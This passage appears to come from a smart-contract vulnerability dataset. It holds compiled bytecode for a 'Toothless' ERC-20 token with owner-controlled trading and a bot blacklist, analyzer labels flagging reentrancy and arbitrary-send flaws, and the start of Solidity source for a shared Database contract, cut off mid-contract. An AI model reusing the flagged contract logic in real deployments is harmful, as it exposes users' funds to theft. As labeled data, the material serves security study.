f35b3480156102c657600080fd5b506102cf6107b7565b005b3480156102dd57600080fd5b506102e661090a565b6040516102f39190612d7d565b60405180910390f35b34801561030857600080fd5b50610311610933565b60405161031e9190612e66565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612989565b610970565b60405161035b9190612e4b565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129c5565b61098e565b005b34801561039957600080fd5b506103a2610ade565b005b3480156103b057600080fd5b506103b9610b58565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a58565b6110b4565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128fe565b6111fd565b6040516104189190613008565b60405180910390f35b606060405180606001604052806021815260200161374160219139905090565b600061045561044e611284565b848461128c565b6001905092915050565b6000683635c9adc5dea00000905090565b600061047d848484611457565b61053e84610489611284565b6105398560405180606001604052806028815260200161376260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104ef611284565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c4a9092919063ffffffff16565b61128c565b600190509392505050565b610551611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d590612f48565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61064a611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ce90612f48565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610735611284565b73ffffffffffffffffffffffffffffffffffffffff161461075557600080fd5b600047905061076381611cae565b50565b60006107b0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1a565b9050919050565b6107bf611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461084c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084390612f48565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600e81526020017f546f6f74686c65737320f09f9089000000000000000000000000000000000000815250905090565b600061098461097d611284565b8484611457565b6001905092915050565b610996611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1a90612f48565b60405180910390fd5b60005b8151811015610ada576001600a6000848481518110610a6e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ad29061331e565b915050610a26565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1f611284565b73ffffffffffffffffffffffffffffffffffffffff1614610b3f57600080fd5b6000610b4a30610766565b9050610b5581611d88565b50565b610b60611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be490612f48565b60405180910390fd5b600e60149054906101000a900460ff1615610c3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3490612fc8565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ccd30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061128c565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1357600080fd5b505afa158015610d27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4b91906128d5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dad57600080fd5b505afa158015610dc1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de591906128d5565b6040518363ffffffff1660e01b8152600401610e02929190612d98565b602060405180830381600087803b158015610e1c57600080fd5b505af1158015610e30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5491906128d5565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610edd30610766565b600080610ee861090a565b426040518863ffffffff1660e01b8152600401610f0a96959493929190612dea565b6060604051808303818588803b158015610f2357600080fd5b505af1158015610f37573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f5c9190612a81565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161105e929190612dc1565b602060405180830381600087803b15801561107857600080fd5b505af115801561108c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b09190612a2f565b5050565b6110bc611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611149576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114090612f48565b60405180910390fd5b6000811161118c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118390612f08565b60405180910390fd5b6111bb60646111ad83683635c9adc5dea0000061208290919063ffffffff16565b6120fd90919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f546040516111f29190613008565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f390612fa8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561136c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136390612ec8565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161144a9190613008565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114be90612f88565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611537576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152e90612e88565b60405180910390fd5b6000811161157a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157190612f68565b60405180910390fd5b61158261090a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115f057506115c061090a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b8757600e60179054906101000a900460ff1615611823573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561167257503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116cc5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117265750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561182257600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176c611284565b73ffffffffffffffffffffffffffffffffffffffff1614806117e25750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117ca611284565b73ffffffffffffffffffffffffffffffffffffffff16145b611821576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181890612fe8565b60405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461186657600f5481111561186557600080fd5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561190a5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61191357600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119be5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611a145750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a2c5750600e60179054906101000a900460ff165b15611acd5742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a7c57600080fd5b603c42611a89919061313e565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ad830610766565b9050600e60159054906101000a900460ff16158015611b455750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b5d5750600e60169054906101000a900460ff165b15611b8557611b6b81611d88565b60004790506000811115611b8357611b8247611cae565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c2e5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c3857600090505b611c4484848484612147565b50505050565b6000838311158290611c92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c899190612e66565b60405180910390fd5b5060008385611ca1919061321f565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611d16573d6000803e3d6000fd5b5050565b6000600654821115611d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5890612ea8565b60405180910390fd5b6000611d6b612174565b9050611d8081846120fd90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611de6577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e145781602001602082028036833780820191505090505b5090503081600081518110611e52577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ef457600080fd5b505afa158015611f08573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f2c91906128d5565b81600181518110611f66577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fcd30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461128c565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612031959493929190613023565b600060405180830381600087803b15801561204b57600080fd5b505af115801561205f573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561209557600090506120f7565b600082846120a391906131c5565b90508284826120b29190613194565b146120f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e990612f28565b60405180910390fd5b809150505b92915050565b600061213f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061219f565b905092915050565b8061215557612154612202565b5b612160848484612233565b8061216e5761216d6123fe565b5b50505050565b6000806000612181612410565b9150915061219881836120fd90919063ffffffff16565b9250505090565b600080831182906121e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121dd9190612e66565b60405180910390fd5b50600083856121f59190613194565b9050809150509392505050565b600060085414801561221657506000600954145b1561222057612231565b600060088190555060006009819055505b565b60008060008060008061224587612472565b9550955095509550955095506122a386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124da90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061233885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061238481612582565b61238e848361263f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123eb9190613008565b60405180910390a3505050505050505050565b60026008819055506008600981905550565b600080600060065490506000683635c9adc5dea000009050612446683635c9adc5dea000006006546120fd90919063ffffffff16565b82101561246557600654683635c9adc5dea0000093509350505061246e565b81819350935050505b9091565b600080600080600080600080600061248f8a600854600954612679565b925092509250600061249f612174565b905060008060006124b28e87878761270f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061251c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c4a565b905092915050565b6000808284612533919061313e565b905083811015612578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256f90612ee8565b60405180910390fd5b8091505092915050565b600061258c612174565b905060006125a3828461208290919063ffffffff16565b90506125f781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612654826006546124da90919063ffffffff16565b60068190555061266f8160075461252490919063ffffffff16565b6007819055505050565b6000806000806126a56064612697888a61208290919063ffffffff16565b6120fd90919063ffffffff16565b905060006126cf60646126c1888b61208290919063ffffffff16565b6120fd90919063ffffffff16565b905060006126f8826126ea858c6124da90919063ffffffff16565b6124da90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612728858961208290919063ffffffff16565b9050600061273f868961208290919063ffffffff16565b90506000612756878961208290919063ffffffff16565b9050600061277f8261277185876124da90919063ffffffff16565b6124da90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006127ab6127a6846130bd565b613098565b905080838252602082019050828560208602820111156127ca57600080fd5b60005b858110156127fa57816127e08882612804565b8452602084019350602083019250506001810190506127cd565b5050509392505050565b600081359050612813816136fb565b92915050565b600081519050612828816136fb565b92915050565b600082601f83011261283f57600080fd5b813561284f848260208601612798565b91505092915050565b60008135905061286781613712565b92915050565b60008151905061287c81613712565b92915050565b60008135905061289181613729565b92915050565b6000815190506128a681613729565b92915050565b6000602082840312156128be57600080fd5b60006128cc84828501612804565b91505092915050565b6000602082840312156128e757600080fd5b60006128f584828501612819565b91505092915050565b6000806040838503121561291157600080fd5b600061291f85828601612804565b925050602061293085828601612804565b9150509250929050565b60008060006060848603121561294f57600080fd5b600061295d86828701612804565b935050602061296e86828701612804565b925050604061297f86828701612882565b9150509250925092565b6000806040838503121561299c57600080fd5b60006129aa85828601612804565b92505060206129bb85828601612882565b9150509250929050565b6000602082840312156129d757600080fd5b600082013567ffffffffffffffff8111156129f157600080fd5b6129fd8482850161282e565b91505092915050565b600060208284031215612a1857600080fd5b6000612a2684828501612858565b91505092915050565b600060208284031215612a4157600080fd5b6000612a4f8482850161286d565b91505092915050565b600060208284031215612a6a57600080fd5b6000612a7884828501612882565b91505092915050565b600080600060608486031215612a9657600080fd5b6000612aa486828701612897565b9350506020612ab586828701612897565b9250506040612ac686828701612897565b9150509250925092565b6000612adc8383612ae8565b60208301905092915050565b612af181613253565b82525050565b612b0081613253565b82525050565b6000612b11826130f9565b612b1b818561311c565b9350612b26836130e9565b8060005b83811015612b57578151612b3e8882612ad0565b9750612b498361310f565b925050600181019050612b2a565b5085935050505092915050565b612b6d81613265565b82525050565b612b7c816132a8565b82525050565b6000612b8d82613104565b612b97818561312d565b9350612ba78185602086016132ba565b612bb0816133f4565b840191505092915050565b6000612bc860238361312d565b9150612bd382613405565b604082019050919050565b6000612beb602a8361312d565b9150612bf682613454565b604082019050919050565b6000612c0e60228361312d565b9150612c19826134a3565b604082019050919050565b6000612c31601b8361312d565b9150612c3c826134f2565b602082019050919050565b6000612c54601d8361312d565b9150612c5f8261351b565b602082019050919050565b6000612c7760218361312d565b9150612c8282613544565b604082019050919050565b6000612c9a60208361312d565b9150612ca582613593565b602082019050919050565b6000612cbd60298361312d565b9150612cc8826135bc565b604082019050919050565b6000612ce060258361312d565b9150612ceb8261360b565b604082019050919050565b6000612d0360248361312d565b9150612d0e8261365a565b604082019050919050565b6000612d2660178361312d565b9150612d31826136a9565b602082019050919050565b6000612d4960118361312d565b9150612d54826136d2565b602082019050919050565b612d6881613291565b82525050565b612d778161329b565b82525050565b6000602082019050612d926000830184612af7565b92915050565b6000604082019050612dad6000830185612af7565b612dba6020830184612af7565b9392505050565b6000604082019050612dd66000830185612af7565b612de36020830184612d5f565b9392505050565b600060c082019050612dff6000830189612af7565b612e0c6020830188612d5f565b612e196040830187612b73565b612e266060830186612b73565b612e336080830185612af7565b612e4060a0830184612d5f565b979650505050505050565b6000602082019050612e606000830184612b64565b92915050565b60006020820190508181036000830152612e808184612b82565b905092915050565b60006020820190508181036000830152612ea181612bbb565b9050919050565b60006020820190508181036000830152612ec181612bde565b9050919050565b60006020820190508181036000830152612ee181612c01565b9050919050565b60006020820190508181036000830152612f0181612c24565b9050919050565b60006020820190508181036000830152612f2181612c47565b9050919050565b60006020820190508181036000830152612f4181612c6a565b9050919050565b60006020820190508181036000830152612f6181612c8d565b9050919050565b60006020820190508181036000830152612f8181612cb0565b9050919050565b60006020820190508181036000830152612fa181612cd3565b9050919050565b60006020820190508181036000830152612fc181612cf6565b9050919050565b60006020820190508181036000830152612fe181612d19565b9050919050565b6000602082019050818103600083015261300181612d3c565b9050919050565b600060208201905061301d6000830184612d5f565b92915050565b600060a0820190506130386000830188612d5f565b6130456020830187612b73565b81810360408301526130578186612b06565b90506130666060830185612af7565b6130736080830184612d5f565b9695505050505050565b60006020820190506130926000830184612d6e565b92915050565b60006130a26130b3565b90506130ae82826132ed565b919050565b6000604051905090565b600067ffffffffffffffff8211156130d8576130d76133c5565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061314982613291565b915061315483613291565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561318957613188613367565b5b828201905092915050565b600061319f82613291565b91506131aa83613291565b9250826131ba576131b9613396565b5b828204905092915050565b60006131d082613291565b91506131db83613291565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561321457613213613367565b5b828202905092915050565b600061322a82613291565b915061323583613291565b92508282101561324857613247613367565b5b828203905092915050565b600061325e82613271565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132b382613291565b9050919050565b60005b838110156132d85780820151818401526020810190506132bd565b838111156132e7576000848401525b50505050565b6132f6826133f4565b810181811067ffffffffffffffff82111715613315576133146133c5565b5b80604052505050565b600061332982613291565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561335c5761335b613367565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61370481613253565b811461370f57600080fd5b50565b61371b81613265565b811461372657600080fd5b50565b61373281613291565b811461373d57600080fd5b5056fe546f6f74686c65737320546f6b656e207c2040746f6f74686c657373746f6b656e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122029a46618cd5933df374bcd103945785a6657b10592ab09ad3cee51bc5485b4ab64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,602 |
0x667b46BA2bC316aEc4BfA727336495d715279dCb
|
pragma solidity ^0.4.24;
// @title A shared storage contract for platform contracts to store and retrieve data
// @notice This contract holds all long-term data for smart-contract systems
// @dev The bytes32 hashes are derived from keccak256(variableName, uniqueID) => value
// @dec Can enable upgradeable contracts by setting a contract manager
contract Database {
// Storage Variables
mapping(bytes32 => uint) public uintStorage;
mapping(bytes32 => string) public stringStorage;
mapping(bytes32 => address) public addressStorage;
mapping(bytes32 => bytes) public bytesStorage;
mapping(bytes32 => bytes32) public bytes32Storage;
mapping(bytes32 => bool) public boolStorage;
mapping(bytes32 => int) public intStorage;
// @notice Constructor: Sets the owners of the platform
// @dev Owners must set the contract manager to add more contracts
constructor(address[] _owners, bool _upgradeable)
public {
for(uint i=0; i<_owners.length; i++){
require(_owners[i] != address(0), "Empty address");
boolStorage[keccak256(abi.encodePacked("owner", _owners[i]))] = true;
emit LogInitialized(_owners[i], _upgradeable);
}
if (_upgradeable){
boolStorage[keccak256("upgradeable")] = true;
}
}
// @notice ContractManager will be the only contract that can add/remove contracts on the platform.
// @param (address) _contractManager is the contract which can upgrade/remove contracts to platform
function enableContractManagement(address _contractManager)
external
returns (bool){
require(_contractManager != address(0), "Empty address");
require(boolStorage[keccak256(abi.encodePacked("owner", msg.sender))], "Not owner");
require(addressStorage[keccak256(abi.encodePacked("contract", "ContractManager"))] == address(0), "There is already a contract manager");
addressStorage[keccak256(abi.encodePacked("contract", "ContractManager"))] = _contractManager;
boolStorage[keccak256(abi.encodePacked("contract", _contractManager))] = true;
return true;
}
// @notice Storage functions
function setAddress(bytes32 _key, address _value)
onlyApprovedContract
external {
addressStorage[_key] = _value;
}
function setUint(bytes32 _key, uint _value)
onlyApprovedContract
external {
uintStorage[_key] = _value;
}
function setString(bytes32 _key, string _value)
onlyApprovedContract
external {
stringStorage[_key] = _value;
}
function setBytes(bytes32 _key, bytes _value)
onlyApprovedContract
external {
bytesStorage[_key] = _value;
}
function setBytes32(bytes32 _key, bytes32 _value)
onlyApprovedContract
external {
bytes32Storage[_key] = _value;
}
function setBool(bytes32 _key, bool _value)
onlyApprovedContract
external {
boolStorage[_key] = _value;
}
function setInt(bytes32 _key, int _value)
onlyApprovedContract
external {
intStorage[_key] = _value;
}
// Deletion functions: Can alternatively use setter functions and set to null value (ie. uint = 0)
function deleteAddress(bytes32 _key)
onlyApprovedContract
external {
delete addressStorage[_key];
}
function deleteUint(bytes32 _key)
onlyApprovedContract
external {
delete uintStorage[_key];
}
function deleteString(bytes32 _key)
onlyApprovedContract
external {
delete stringStorage[_key];
}
function deleteBytes(bytes32 _key)
onlyApprovedContract
external {
delete bytesStorage[_key];
}
function deleteBytes32(bytes32 _key)
onlyApprovedContract
external {
delete bytes32Storage[_key];
}
function deleteBool(bytes32 _key)
onlyApprovedContract
external {
delete boolStorage[_key];
}
function deleteInt(bytes32 _key)
onlyApprovedContract
external {
delete intStorage[_key];
}
// --------------------------------------------------------------------------------------
// Modifiers
// --------------------------------------------------------------------------------------
// Caller must be registered as a contract through ContractManager.sol
modifier onlyApprovedContract() {
require(boolStorage[keccak256(abi.encodePacked("contract", msg.sender))]);
_;
}
// --------------------------------------------------------------------------------------
// Events
// --------------------------------------------------------------------------------------
event LogInitialized(address _owner, bool _upgradeable);
}
// Database interface
interface DBInterface {
function setContractManager(address _contractManager)
external;
// --------------------Set Functions------------------------
function setAddress(bytes32 _key, address _value)
external;
function setUint(bytes32 _key, uint _value)
external;
function setString(bytes32 _key, string _value)
external;
function setBytes(bytes32 _key, bytes _value)
external;
function setBytes32(bytes32 _key, bytes32 _value)
external;
function setBool(bytes32 _key, bool _value)
external;
function setInt(bytes32 _key, int _value)
external;
// -------------- Deletion Functions ------------------
function deleteAddress(bytes32 _key)
external;
function deleteUint(bytes32 _key)
external;
function deleteString(bytes32 _key)
external;
function deleteBytes(bytes32 _key)
external;
function deleteBytes32(bytes32 _key)
external;
function deleteBool(bytes32 _key)
external;
function deleteInt(bytes32 _key)
external;
// ----------------Variable Getters---------------------
function uintStorage(bytes32 _key)
external
view
returns (uint);
function stringStorage(bytes32 _key)
external
view
returns (string);
function addressStorage(bytes32 _key)
external
view
returns (address);
function bytesStorage(bytes32 _key)
external
view
returns (bytes);
function bytes32Storage(bytes32 _key)
external
view
returns (bytes32);
function boolStorage(bytes32 _key)
external
view
returns (bool);
function intStorage(bytes32 _key)
external
view
returns (bool);
}
contract Events {
DBInterface public database;
constructor(address _database) public{
database = DBInterface(_database);
}
function message(string _message)
external
onlyApprovedContract {
emit LogEvent(_message, keccak256(abi.encodePacked(_message)), tx.origin);
}
function transaction(string _message, address _from, address _to, uint _amount, address _token)
external
onlyApprovedContract {
emit LogTransaction(_message, keccak256(abi.encodePacked(_message)), _from, _to, _amount, _token, tx.origin);
}
function registration(string _message, address _account)
external
onlyApprovedContract {
emit LogAddress(_message, keccak256(abi.encodePacked(_message)), _account, tx.origin);
}
function contractChange(string _message, address _account, string _name)
external
onlyApprovedContract {
emit LogContractChange(_message, keccak256(abi.encodePacked(_message)), _account, _name, tx.origin);
}
function asset(string _message, string _uri, address _assetAddress, address _manager)
external
onlyApprovedContract {
emit LogAsset(_message, keccak256(abi.encodePacked(_message)), _uri, keccak256(abi.encodePacked(_uri)), _assetAddress, _manager, tx.origin);
}
